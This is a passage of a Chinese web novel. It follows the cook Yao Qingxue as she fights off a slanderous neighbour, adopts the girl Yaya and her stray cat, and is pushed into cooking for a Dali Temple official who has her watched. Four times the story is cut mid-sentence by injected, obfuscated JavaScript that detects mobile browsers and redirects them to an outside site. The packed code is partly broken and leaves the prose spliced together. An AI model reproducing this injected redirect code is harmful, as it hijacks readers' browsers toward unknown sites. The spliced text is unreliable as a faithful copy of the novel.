“好不好你进去待几天就知道了,你把我奶奶气病,她要是有个好歹你就是杀人犯,大理寺的地牢你想待多久就待多久。” 杨婆子两手叉腰:“吓唬谁呢,刘氏就是个病秧子,随时都可能死,她病了关我什么事。” “就是你气的,你说关不关你的事?我不跟你讨药钱,你去给我奶奶道歉,以后不准对我爷爷奶奶出言不逊,今日就放过你。”只要杨婆子道歉,刘氏的心就能宽一宽,心情好了病自然也就好得快。 “呸,做梦。”杨婆子往地上啐了一口唾沫,“绝户门也配我登门道歉。” “啪!”姚轻雪抡起胳膊狠狠地甩了杨婆子一巴掌,“嘴巴真脏。” 杨婆子懵了,她怎么也想不到唯唯诺诺的丫头敢打她,姚轻雪这下捅了马蜂窝,杨婆子疯了似的扑过来。 平白无故被关进大牢两次,姚轻雪正有气没处撒,今儿也是杨婆子倒霉。在杨婆子即将抓到她脸时,姚轻雪眼疾手快又给了杨婆子两巴掌。做了两个多月厨子,胳膊的力气练出来了,姚轻雪出手又快又狠。 杨婆子仰头倒在地上,姚轻雪怒气冲冲地骑上去,两腿压住她两只胳膊,然后左右开弓抽她嘴巴,“让你嘴贱。” 杨家的院内顿时响起杀猪般的惨叫。左邻右舍和在屋里睡大觉的杨兴旺都从屋里出来。杨兴旺推开门,哈气打到一半顿住。什么情况?他心心念念的美娇娘骑着他娘打? “儿啊,快来救娘,死丫头快要把娘打死了。”杨婆子声嘶力竭地喊着。 杨兴旺回神,奔着姚轻雪去。 这时一个小小的身影举着木棍冲了过去,她挡在姚轻雪跟前,一脸凶狠地挥舞木棍:“别碰我姐!” 在姚轻雪去敲杨家大门时,芽芽就跑回家拎了烧火棍。刚刚她姐扇杨婆子嘴巴时,她就站在杨家门边上看着。 芽芽兴奋的,就差给姚轻雪加油助威了。小姑娘机灵,她拄着木棍站在一边守着,只要姐姐吃亏,她就上去。 “死丫头找死。”杨兴旺对姚轻雪有那么点色心,对芽芽可是半点情分没有。 在芽芽冲过来时,姚轻雪就停了手、站起身,她一把把小姑娘拽到身后。“杨兴旺,你敢动我们一下,我就去衙门告你,你们娘俩东家拿西家偷,到了衙门有你们好果子吃。这两趟大理寺我可不是白进的,大理寺少卿韩泽与我相熟,信不信我让你吃不了兜着走。” 对付杨婆子姚轻雪还行,对付一个男人毫无胜算,男女之间的力量相差太大了,她只能选择吓唬人。韩泽这个人葫芦巷的居民怕是都没见过,但大理寺少卿却没人不知道。杨家母子手脚不干净,偷邻居几个鸡蛋、几把青菜常有的事,不信他们不怕。 杨兴旺果然怕了,他悻悻地放下手,“是你先动的手,看你把我娘打的,我还不能还手了?” “你当然不能还手,你娘把我奶气病了,我奶什么情况葫芦巷的人都清楚,她要是有三长两短我要你娘偿命,今天只是打她几下算是便宜她了,你要是不服气咱们就见官,看官老爷怎么断。” “别听她的,你打她,给娘报仇。”两边脸颊肿得老高、头发散乱的杨婆子艰难地从地上爬起来。 姚轻雪瞪杨婆子:“还欠揍是不是?今年开春你儿子顺了人家铁锅。”她转头问杨兴旺:“有没有这回事?要我说锅是谁家的吗?” 这事是姚福回家说的,姚福常在外面走,瞧见杨兴旺偷东西不是一回两回了。姚福和刘氏不是碎嘴的人,即便看见也不会到处说。 杨兴旺脸色一变,有一日天黑他往家走,走到铁匠铺门口,瞧见铺子里没人,他就把门边一口刚打好的铁锅拿走卖了。 事情若是传出去,铁匠铺家的那两个儿子不会放过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555691|155443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他。而且姚轻雪说她认识大理寺少卿,万一她说的是真的呢? 杨婆子还在嚷嚷让儿子打姚轻雪,杨兴旺则一脸不耐烦:“娘!这么多人,打什么打,也不怕人笑话。” “笑话?她把你娘我打成这样,你不觉得是笑话?我怎么生了你这么个东西,我命苦啊……”杨婆子坐在地上又哭又闹。 姚轻雪松了口气,领着芽芽走出杨家大门。门口看热闹的邻里面面相觑。姚家这个孙女他们一年也见不着几面,不爱说话,也不爱与人打交道。最近听说去给大户人家做厨娘,还进了两次大牢,今日再见这还是姚家的孙女吗?这么凶?! 也不知谁小声说了句:“谁说姚家孙女柔弱?”这叫弱?跟个小老虎似的。杨婆子在这一片就没有对手,瞧瞧现在脸肿得跟猪头。 赵氏看着走远的姐俩:“柔弱就得受欺负?我看现在挺好。”杨婆子就是个没脸没皮的,一点亏不吃,谁惹了她,她能日日去人家门口咒骂。嚣张跋扈了这么多年,今儿总算碰上硬茬了,解气! 巷子口卖杂货的小贩看了全过程,他心想:韩少卿大概不知道他与这厨娘是熟人,不知他知道后会作何感想? 姚轻雪不管别人的目光和议论,她领芽芽回家。姚福正四处找芽芽,巷子那头似乎有人吵架,他怕小丫头跑出去被误伤。刚打开大门就看见大孙女和小孙女手牵手回来了。 “丫头!”姚福惊呼。老婆子病倒后,他只抽空去大理寺问问。今儿还没去呢,人就回来了。他家丫头把杨婆子好一顿揍,姚福压根不不知道。 姚轻雪:“爷爷,我回来了。” 屋里躺着的刘氏听见动静,挣扎着走出来。“孙女回来了?” “奶奶!”姚轻雪赶紧过去扶她。 刘氏眼泪噼里啪啦往下掉,“回来就好。”而后焦急地问:“你这头发怎么弄的?在牢里被人欺负了?”刚刚被杨婆子扯了两下,这会儿姚轻雪的头发有些乱。 还不等姚轻雪说话,芽芽兴奋道:“打架弄的。” “打、打架?”姚福和刘氏都很震惊。 “嗯。”芽芽重重点头,“姐知道杨婆子欺负奶,就去找她打架,把她按在地上打。” 小姑娘眼里冒着星星,姚轻雪无奈,“我找她说理,但她根本不讲理,我就教训了她几下,看她下次还敢不敢欺负咱家,放心,我没吃亏。” “这样、这样……”芽芽躬着小身子,甩着两只小胳膊扇空气,“姐把杨婆子的脸都打肿了,她打不着姐。” 刘氏与姚福互相看了看,一脸的不敢相信。他们孙女跟别人打架?还是那个泼妇杨婆子? “你还敢说?”姚轻雪板着脸训芽芽,“你这小胳膊小腿的,是人家对手吗?就敢拿棍子冲上去?要不是我拦下,你得挨揍知不知道?” “啥?芽芽也去打架了?”刘氏一捂心口。 9. 第 9 章 刘氏受刺激太大,脸色瞧着不大好,姚轻雪赶紧把她扶到床上躺着。 芽芽跟在后面垂着头。安顿好刘氏,姚轻雪转身问她:“知道错了吗?” 小姑娘知道帮她,姚轻雪很欣慰,但她并不鼓励小孩子的这种行为。杨兴旺是成年男人,稍微用点劲儿就能把芽芽打飞出去,小孩子撞到头那可不是闹着玩的。 芽芽两只小手背在身后,低头不说话。刘氏看不过去,“训她作甚,她还不是为了帮你。” “芽芽是好孩子,你不在家这段日子,她帮了我们不少。”姚福也给说情。 还不等姚轻雪说什么,芽芽“哇”一声哭出来,“我听话,别不要我。” 刘氏叹气:“杨婆子说你不想要她,才出去给人做厨娘,还说我们早晚得把她扔了,这孩子往心里去了。杨婆子好好个人,偏长了张嘴,要不是我身子不成,我都想打她去。你也别怪芽芽,向着自家人有什么错。” 初到陌生的地方,本来就心有不安,外人再说些有的没的,孩子害怕可以理解。 姚轻雪心里不是滋味儿,她蹲下身看着芽芽:“我不是怪你帮我,而是怕你有危险,你还小做任何事都要记得不能让自己受伤。不过今日芽芽很勇敢,让那些看轻咱家的人都瞧瞧,都是丫头怎么了?谁敢欺负我们,丫头也咬人。” 小姑娘抽抽鼻子:“咬人牙疼。”她才不傻。 姚轻雪给她擦擦脸:“对,咱不咬,走,烧水,姐要洗洗,然后给你炖肉。” 此时大理寺,监视姚轻雪的杜七换班回来。 韩泽挑眉:“她真这么说?” “千真万确,我亲耳听到的,她说跟您很熟。”杜七道。 “哼,胆子不小。”韩泽冷笑。敢借他大理寺少卿的名头唬人,一般人可没这胆量。 杜七:“何止啊,您没瞧见她把那婆子打得毫无还手之力,后来杨家的儿子出来想对她姐俩动手,姚厨娘几句话让那人蔫了。” “姐俩?”韩泽疑惑,据他所知姚家只有老两口和姚轻雪三人。 杜七:“听邻居说那个叫芽芽的小姑娘是姚家最近才捡回来的,具体从哪里来,旁人不清楚,怕打草惊蛇属下也不敢多问。” 韩泽心道果然有问题。姚轻雪在他面前装乖巧,回到家就原形毕露。现在又多了个小的,保不齐是从小培养接班人呢。 韩泽:“你和陈九、封八把姚家四口给我盯住了,有任何风吹草动都要及时上报。” 时刻在别人的监视中,姚轻雪丝毫不知。她烧完热水洗了澡,又饱饱吃了顿饭。 晚上哄睡了芽芽,姚轻雪去爷爷奶奶的房间,刘氏靠在床上拉着孙女的手:“往后就在家待着,不许再出去做工了,再有这么一次,我可不一定挺得过去。” 孙女回来刘氏精神好了很多,晚饭都多吃了半碗,这会儿说话都有力气了。 “你奶说的对,以后可别出去了,我这腿能走了,明日就去卖包子。”姚福道。 “爷!不急,您再养些日子,到时候咱爷俩一起卖包子。”经过这么两回,姚轻雪也是怕了,暂时不打算再去什么大户人家。卖包子虽然赚得不多,但踏实。 她把腰间的荷包解下来,“我在安国公府得了些赏银,够咱家用一段日子了,往后我和爷卖包子,养活咱们几口人不是问题。”虽然没有拿到工钱,但赏钱比工钱还多。 姚福欲言又止,孙女十八了,不能总跟她卖包子。刘氏则把孙女的荷包推回去,“你上次拿回来的十两,还剩八两多呢,这些你自己个留着。” 老两口节省惯了,除了买药几乎没在别处花银子。姚轻雪也没坚持,往后她在家,手上是该留些银子。 刘氏:“芽芽这孩子懂事听话,家里的活她抢着做,我病以后饭都是她帮着做的。不过我瞧着她不大会干活,她爹娘在时,想来也是很疼她,挺可怜的,你对她好点。” 芽芽以前日子过得不差,奶娘家拿了吴姨娘大笔银子,可不敢让她干活。若是张家没出事,芽芽一辈子怕是都会被那家人当宝贝一样养着。 说了会儿话,姚轻雪回到房间,发现芽芽瞪着两只眼睛,“怎么还不睡?不困。” 芽芽摇了摇头:“等你。” 姚轻雪脱了衣服上床躺下,沉默片刻后她道:“芽芽,我家的日子你也看到了,甚至比不上张婆子家好过,往后你可能得跟我一样做很多活。你若是想离开,我可以帮你找户好人家。” 芽芽靠过来抱住姚轻雪:“我哪也不去。” “好!”姚轻雪摸摸小姑娘的发顶:“睡吧,我不走了。” “真的?” “真的,往后我们四个人一起过日子。” 得了姚轻雪的保证,芽芽心里终于踏实了,没一会儿就睡着了。 牢里的日子不好受,姚轻雪也很快睡沉。次日睡到日上三竿才起来。走出房间,看见赵氏正在院中和刘氏低声说话。姚轻雪喊了声:“婶子!” 赵氏笑呵呵道:“哎,起来了,这些日子累坏了吧?我娘家弟弟今儿早送来两条鱼,我给你们拿过来一条。” “谢谢婶子!” 刘氏对孙女道:“洗把脸,灶房给你留着饭呢。” “姐,你洗脸,我给你端饭。”芽芽从灶房探出脑袋。 姚轻雪走过去:“你在灶房里干什么?” “看鱼,好大一条鱼。”芽芽指指地上木盆里的大鲤鱼。 姐俩在灶房门口头对头说着话,赵氏越看姚轻雪越是喜欢,对捡来的孩子都这么好,可见品性不差。这样的人对继子继女应该也不会差,只是让一个黄花闺女给他弟弟做续弦,想想姚家二老都不会同意,赵氏心里一阵可惜。 她转头对刘氏道:“你这俩孙女不好惹,杨家那个嘴碎的,没敢找过来吧?” “没有。”刘氏笑呵呵道。“你要不说,我都不知道这俩丫头昨日闹出那么大阵仗。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555692|155443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>赵氏把昨天杨家发生的事原原本本地讲给刘氏。刘氏听得一愣一愣的,她万万想不到大孙女这般、猛。看来两次进大理寺牢房也不一定全是坏事,起码性子没那么软了。这样也好,姚家将来没有男子顶门,孙女再软弱,等他们不在了,不得被人欺负死。 院中刘氏和赵氏聊着家常,灶房内姚轻雪吃着不早的早饭和芽芽闲聊。“对了,芽芽你有大名吗?” 芽芽抬起头想了想说:“有,叫张岿。” “谁给取的?”这么难听,亏?一个小姑娘她亏谁了? 芽芽摇头:“不知道。” “不知道?”姚轻雪惊讶,“你不知道谁给你取的名字?你怎么知道你叫张亏。” 芽芽不逗盆里的鱼了,她搬了小板凳坐到姚轻雪对面。“几个月前有个陌生叔叔说我叫张岿,她还教我怎么写。”说着芽芽捡起柴禾棍在地上写。 姚轻雪一看不是亏欠的亏,而是岿然不动的岿。她若有所思,然后问小姑娘:“教你写名字的那人长什么样?” 芽芽拧着小眉头回想,然后一点一点描述。姚轻雪听后张大了嘴巴不敢相信,芽芽说的那个男人是张迁。 张迁去看过芽芽?他是什么意思?既然不要女儿,为何还去看她?还给起了名字? 其实她不太明白:即便迫于张夫人的威胁,张迁身居高位也有能力把女儿安排好,可他却选择视而不见。 难道张迁早知他会有今日下场?既然知道就更应该把唯一的骨肉安排好才对啊? 姚轻雪想不通,干脆就不想了。“芽芽,张岿不好听,咱们以后不叫这个。”不管哪个岿,女孩子叫这名字就不好听。 “那我叫什么呀?”芽芽问。 姚轻雪想了想:“你跟我姓姚,叫轻鸿吧,姚轻鸿。若是旁人问你以前的事,你就说逃难途中爹娘掉河里淹死了,住哪儿全都不记得了。” “好!”芽芽肉眼可见地高兴起来,她喜欢这个名字。至于爹娘,她从来没见过,他们也从来没去看过她,生与死没有什么区别。 吃完了饭,姚轻雪领着芽芽上街。小姑娘身上穿的是刘氏用旧衣服改的,已经洗的发白了。既然决定养,就好好养,再穷也不差孩子的几件衣服。 姐俩先去布行,买了几匹布和针线,想起家里没有米,又去米铺买了十斤米。芽芽抱着布,姚轻雪背着米,俩人溜溜达达往家走。 姚轻雪不知道,她姐俩去一家,那家店之后被大理寺查了祖宗十八代。米铺老板偷了几年的税都给查出来,他还纳闷怎么就被大理寺盯上了? 回到家,姚轻雪把刘氏生病这几天攒的脏衣服洗了,洗完衣服又把屋里屋外打扫一遍。芽芽喜欢粘着姚轻雪,几乎寸步不离,姐姐干啥她干啥,她不会做的事,姚轻雪就教她。 姚福和刘氏笑呵呵地看着小姐俩忙里忙外,把家里收拾得干干净净。 刘氏:“咱孙女这么好的姑娘,命怎么就这么苦呢?” 10. 第 10 章 孙女乖巧懂事,对他们也孝顺,就是诸事不顺,尤其婚事最让人着急。“老头子,你也别太挑了,再有人上门提亲看着人品不差,就同意了吧。孙女年纪越来越大,留在家里久了,会有人说闲话的。” 姚福叹气,哪里是他太挑?想娶他孙女的不是自身不咋地,就是家里不咋地,再有就是好色之徒,孙女嫁过去不会有好日子过。现在又进了两次牢房,孙女的婚事怕是更难了。 “不急,等我攒些银子,我瞧着咱孙女知事了,她自己有主意,是招赘还是嫁出去听她的意思。若是招赘就让李通给找个身家清白没有爹娘的,穷不怕,只要老实肯干,他在咱家,有咱俩看着,不怕孙女吃亏。” 刘氏点头:“我看行。”既然不好嫁,那就还招赘。 说谁谁到,李通听说姚轻雪回来,他急匆匆赶到葫芦巷:“这事弄的,怎么都让你赶上了。不怕,我这又有户人家招厨子,这家是做生意的,不做官,这次准没事。” 都说当官好,当大官更好,现在李通算是看明白了,还是做普通人最踏实。工部侍郎、安国公,都是顶顶大的官,不也说倒就倒了。 姚轻雪开了句玩笑:“叔,我非死不可吗?”给她介绍两户人家,两次都进了大牢。不知道的还以为李通跟她有仇呢。 李通一愣,一时间没明白这话什么意思。 姚轻雪无奈:“叔,若是让人知道您给我介绍一家倒一家,您说谁还敢用我?谁还敢找您这个牙人?” 李通苦笑:“我也想帮帮你爷,谁能想到总遇到这种事,不做厨子,你今后有什么打算?” “跟爷爷卖包子。”进了两次大牢,虽然有惊无险,但姚轻雪也怕了。 李通也觉得姚轻雪现在不宜出门做事。“卖包子挺好,守着家人安生,今后若是有什么事尽管跟我说。” 姚轻雪还真有一件事要问他:“李叔!我收养了个妹妹,想问问户籍好办吗?” 李通皱眉:“那孩子原来没有户籍吗?” 姚轻雪摇头:“爹娘都死了,她都不知道自己从哪里来。” “这就难办了,若是旁的地方花点银子就能办,但京城不一样,况且最近不太平,官府查得严,想办户籍怕是不容易。”李通压低了声音:“张迁在牢里上吊了,安国公府的事还没完,这个时候别跟官府打交道,小心惹祸上身。” 姚轻雪一惊,“张迁死了?什么时候的事?” “就你去安国公府那日。” 已经过去一个月了,她在安国公府竟然一点风声没听到。想起那张图,姚轻雪试探:“大理寺应该从张家搜出不少金银财宝吧?” 李通点头:“是搜出不少,不过听说要找的东西没找到,张家地底下都翻了个遍。现在宅子还有官兵守着呢,不知到底在找什么。” 没找到?难道张迁没有把他藏的钱财交出来换命?那是不是说明宝贝还在?姚轻雪有点期待。想起芽芽,她问李通知不知道张迁妻妾的情况? 李通看了下左右,小声道:“张迁死后张家的案子一直悬着,大概是因为要找的东西没找到,不过我听说张迁的妻妾也死在牢里了。” 姚轻雪瞪大眼睛:“为何?不是没判吗?” 李通摇了摇头,“我也不是很清楚,都是小道消息听来的。” “丫头!”李通表情严肃地看着姚轻雪,“张家和安国公府的事别打听,你能全须全尾地回来已经是烧高香了,千万别再牵扯进去。” 没到俩月,两个大官全家下狱,听说这事还没完,京城的官老爷们都人心惶惶。至于到最后是个什么结果,就不是他这等小民该关心的。 “多谢李叔,我知道了。”既然吴姨娘死了,她就没什么可打听的。芽芽就是她捡来、死了爹娘的孩子。 送走李通,姚轻雪回房把那张图找出来。吴姨娘或许没有骗她,只要找到地方,哪怕她只得一点点,后半辈子就不用为生计发愁。既不用给别人做厨娘,也不用姚福卖包子,她还想买个铺子自己做生意。 既然图在自己手里,总得找一找,姚轻雪心思活络起来。可无论看多少次她都看不出图上画的是什么地方,看着像山。她打算明日出城看看,城外山多,出去走一走碰碰运气,说不定就找到了。 但第二天姚福要出摊卖包子,劝他多歇几日,老头不干。劝阻不了,姚轻雪只好陪着,出城的事就耽搁下来。 包子姚福做,姚轻雪不想在包子上费功夫,只给姚福打下手。她想边卖包子边看看市面上都卖什么吃食,然后再决定做什么。宝贝找不找得到还不一定,她总不能一直闲着。 有姚福在,没人敢吃姚轻雪豆腐,卖了几天风平浪静。 躲在暗处瞧姚轻雪卖包子的韩泽很是气闷。姚轻雪回家有几日了,这探子怎么不干正事呢?卖包子卖上瘾了,真把自己当厨娘了?看来得逼她一把。 这几天不忙时姚轻雪让姚福卖包子,她则去街上转,几天下来心里大概有了数。这附近住户还算富裕,卖新鲜吃食会大有赚头。 姚轻雪打算明日卖完包子就去买调味料,再买两个瓦罐和泥炉,下午她就可以出摊了。打定主意,姚轻雪和爷爷推车回家。 进院就看见芽芽蹲在院子里,她面前有个脏脏的猫。 “哪来的猫?”姚福问。 “它自己跑咱家院子里来的。”芽芽道。 姚轻雪帮姚福从车上往下搬东西,“别用手摸,野猫脏又凶,小心它咬你。” “喵!”猫的叫声似有不满。 姚轻雪看了它两眼,等会儿,怎么有点眼熟?脏猫冲她叫了两声,然后慢慢走过来,围着姚轻雪转,还时不时用长长的尾巴勾她小腿。 这猫原本应该是白色,不过现在脏的看不出原来的颜色。但那一蓝一绿的眼睛姚轻雪不会看错。吴姨娘曾经跟她炫耀这种是猫中的精品鸳鸯眼。 姚轻雪低下身唤了声:“芽芽?” “姐,你对猫叫我干啥?”芽芽很不解。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555693|155443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姚轻雪:“……” “喵呜!”脏兮兮的猫蹲坐在地上,抬起小脑袋看着她。 姚轻雪可以肯定,这就是吴姨娘养的那只金贵娇气猫芽芽。这猫怎么找到她家的?难道记住了她的味道?这也太匪夷所思了吧。 “芽芽,猫身上脏的很,还有虫子,把它赶出去吧。”现在跟张家和赵家沾点边的东西,姚轻雪一概不想碰。 猫像是听懂了话,抬起一只前爪就要挠,姚轻雪往后退:“你敢挠人我炖了你。” 小猫悻悻地放下爪子,快速躲到芽芽身后,“喵呜喵呜”地叫着,像是受了委屈。 芽芽喜欢小猫,“姐,不能养它吗?” “不能,我不喜欢猫。”姚轻雪态度坚决。 “你咋不喜欢猫了?”刘氏揭她老底,“小时候你还养过一只呢,夜里都得抱着睡,只是没养住,后来人家自己跑了。” 姚轻雪:“……” 姚福:“芽芽喜欢就养着吧,做包子总会有些零碎,喂它一口就能养活。” 姚轻雪心说人家可不一定吃剩下的零碎,它以前过着人上人的日子,吃的比人都好。她还想把猫赶走,但看着芽芽稀罕的模样,姚轻雪心软了。 吴姨娘没有给女儿留下什么,这只猫在外面流浪了这么久还能找上门,或许就是缘分。“先养着吧。” “谢谢姐!”芽芽高兴地要去抱猫。 姚轻雪立刻阻止:“别抱,它身上都是虫子,去打盆水,给它洗个澡。” 芽芽端来水,姚轻雪指了指木盆,“自己进去。” 白猫看着她,不动。一猫一人僵持着,姚轻雪耐心用尽,她拎着猫脖子把它丢尽水里,白猫扑腾着要往外跑。 姚轻雪威胁:“不洗干净就把你赶出去。” 白猫抬起的前爪慢慢放回水中,刘氏拿来皂角,“这猫好像听得懂人话。” 姚轻雪心想听不听得懂她不知道,但宠物会看人脸色,她略有所知。这猫在张家吃好的喝好的,那时候胖墩墩的,现在淋了水,看上去瘦巴巴,想来做流浪猫的日子不好过。 芽芽蹲在盆边,“姐,给它取个名字吧。” “行,你来取吧。”猫很老实,乖乖让姚轻雪洗了一遍又一遍,刘氏找来破布给它擦干毛。洗干净的白猫很漂亮。长长的白毛,绒绒的,很招人喜欢。 芽芽想了很久终于决定叫它:“小白。”只是芽芽无论怎么喊“小白”猫就是不搭理,反而有人喊芽芽它就会过去。 小姑娘发愁:“我叫芽芽,你不能再叫芽芽了呀。” “喵呜~”叫我干啥? 姚轻雪:“……” 晚上姚轻雪跟二老说了卖另一种吃食的打算,姚福着急给孙女攒嫁妆倒也没反对。 第二天上午包子卖完,姚轻雪让爷爷先回去,她要去买些东西。刚走到街角,去路就被人堵住。 韩泽抱着胳膊站在姚轻雪面前:“我救你两次,你就不打算报个恩?” 11. 第 11 章 报恩?说实话姚轻雪没想过。查明案件真相、还无辜者清白,难道不是他这个大理寺少卿应该做的吗?何谈报恩? 都说韩泽秉公执法、是个好官,看来也不过如此。姚轻雪先前对韩泽的好印象瞬间消失。她躬身行了一礼:“大人的恩情不敢忘,只是民女身无长物,家中日子艰难,大人的恩日后有机会一定报答。” “别日后了,就现在吧,我家里缺个厨子。” 姚轻雪一愣,她以为韩泽跟她要银子呢,原来是要厨子啊!是她想差了,韩泽这人还是挺好的。“民女今后与祖父卖包子,大人另请高明吧。” “每月五两银子,够你卖俩月包子了。” 的确,五两银子够姚福卖两三个月包子,一般人家请厨子二两银子顶天了。韩泽开口就给五两,姚轻雪不得不怀疑他的目的。 想到那张图和芽芽,她心里咯噔一下,不会是……“韩大人想从我这里得到什么?” 韩泽故意曲解她的意思,上下打量姚轻雪,眼中露出一丝嘲弄:“别多想,你也就厨艺拿得出手。我在张家尝过你的手艺,难得碰上合胃口的厨子,仅此而已。” 既然不是冲着图和芽芽那就好。韩泽说话不客气,姚轻雪也不跟他客套了:“我另有打算,不去。” 韩泽面上一冷:“我能把你放出来,也能把你关进去。张家和安国公府的案子都没结,是流放还是蹲牢房?你自己选。” 姚轻雪傻眼,哪有人为了口吃的威胁把厨子送进大牢的?她收回前言,韩泽就是个大坏蛋。 深吸一口气,姚轻雪怯怯地看着他:“民女克主,去一家倒一家,您就不怕韩家也倒?” “你?”韩泽冷哼:“得有那个本事。”让韩家倒?口气不小。一口茶的功夫,脸上变了几变,这探子挺会演。 姚轻雪瞪他,韩泽这人一看就事多,不想伺候。 两人互不相让,在街角僵持不下。 最后姚轻雪败下阵来,且不说民不与官斗,芽芽也不能一直没有户籍。韩泽虽然跋扈了些,但本质不坏。去韩家做厨娘,等熟了求他把芽芽的户籍办了,应该不是难事。 见她一直不说话,韩泽不耐烦道:“我饿了,跟我回去做饭。” “现在?”姚轻雪惊呆。这人怕不是专门过来抓她去做午饭的吧? “少废话,快点。”韩泽耐心告罄,熟悉的人见了定会知道韩大人这是饿了,这个时候最好躲他远点。 韩泽转身大步往家走,要不是来找姚轻雪,这会儿他应该在大理寺饭堂。虽然大理寺的厨子也做不出什么好东西,但起码不用饿肚子。 这是一点商量的余地都没有,姚轻雪没法子,只好跟着去。等到了韩家,她惊喜地发现离葫芦巷不远。 院内一老者正在打扫,见韩泽回来忙放下扫把,“少爷回来了。” “曹叔,这是新来的厨娘,带她去灶房。”韩泽沉着脸对姚轻雪道:“午间我只有半个时辰。”意思是做饭快点。 姚轻雪暗暗翻了个白眼,嘴上应道:“是,大人,马上去做。” 结果到灶房一看,米面油挺全,就是没有一根菜、一片肉。出去买半个时辰肯定来不及。见架子上有四个鸡蛋,姚轻雪让曹叔帮忙生火,她用两个鸡蛋、清水与盐搅了点面糊。 锅热放素油烙了两张金黄软嫩的鸡蛋饼,又顺手煎了个蛋,东西盛出后,锅里加水继续烧。 曹叔坐在灶前,见新来的厨娘手脚十分麻利,就是费东西。素油贵着呢,寻常人家吃不起,她一次就用了两大勺,还把他舍不得吃的鸡蛋全打了。不过,这味儿可真香,曹旺忍不住吞口水。 姚轻雪舀了半碗面加水搅成小疙瘩,等锅里的水烧开后把疙瘩放进去煮,最后打进去一个鸡蛋搅开,鸡蛋疙瘩汤做好。 鸡蛋饼、煎蛋、疙瘩汤,韩泽看着眼前的东西,眉头皱的能夹死苍蝇:“你就做这?” “大人,巧妇难为无米之炊,您家里除了米就是面,一根菜没有,您说让我做啥?您若觉得我不称职,我这就离开。” 韩泽冷冷的眼神飘过来,姚轻雪站那没敢动,心道吓唬谁呢,哼! 韩泽又去看曹叔,曹旺尴尬道:“您很少在家吃饭,所以我很少买菜。”主子不在家他也懒得开火,每天买几个包子饼子凑合,蒸个蛋羹就算改善伙食了。“我这就出去买。”可不能让他家少爷饿着,不然一天都没有好脸色。 “曹叔,不用了。”韩泽叫住往外走的曹旺。再好的厨子也不可能凭空变出菜来。 韩泽虽不大高兴,但腹中饥饿,便拿起筷子。韩大人不情不愿地夹起一块鸡蛋饼放进嘴里,嗯?松软、咸香,味道还不错。 姚轻雪见他一连吃了三块鸡蛋饼,便道:“这里面若是再加点瓜丝味道会更好。” 韩泽瞥她一眼,“今后你负责一次三餐,做什么自己决定。” 姚轻雪:“大人您有什么要求?您喜欢吃什么?不喜欢吃什么?” “你看着办,我什么都行。”韩泽低头舀了勺疙瘩汤,看着像猪食,味道竟不错。配上外皮酥脆、里面流心的煎蛋,不知不觉一碗疙瘩汤,两张鸡蛋饼一点没剩。 曹叔震惊,这几样吃食,在韩府都没有资格端到少爷面前,韩泽不喜欢的东西,不管有多饿他一口都不会吃,现在竟然吃的一点不剩!难怪夫人给的厨子不要,偏自己领回一个,曹旺看姚轻雪的眼神满是佩服。 韩泽吃完要去上值,见他要走,姚轻雪忙道:“大人,我来您家做事,我家里人还不知道,我今晚得回家,明早过来成不?” 韩泽点头,姚轻雪便跟他前后脚出了院门,一个往左一个往右出了太平巷。韩泽拐过墙角对蹲在那的货郎道:“盯紧了,每日去过哪里,与什么人接触都一一记下来。” “好嘞!”杜七起身挑起扁担,很快消失在巷子里。 姚轻雪从韩泽家的太平巷到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555694|155443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 葫芦巷走了不到两刻钟,若是脚程快一些,一刻多钟就够了。 刘氏见孙女两手空空地回来,问道:“什么都没买?不是说要卖吃食吗?” 姚轻雪关上院门,对二老道:“先不卖了,我找了户人家做厨娘。” 刘氏心里一突:“咋还去做厨娘?不是说好了不去了吗?” “奶,您别急。”姚轻雪赶紧去扶老太太,“我这两次能平安回来,多亏了大理寺少卿韩大人,他家里正好缺厨子,您说这么大的人情我能不还吗?” “大理寺?”刘氏稍稍放了心,大理寺是查案的,相对安全。她拍拍心口,“人情债是该还,只要不再是贪官、坏官就好。” 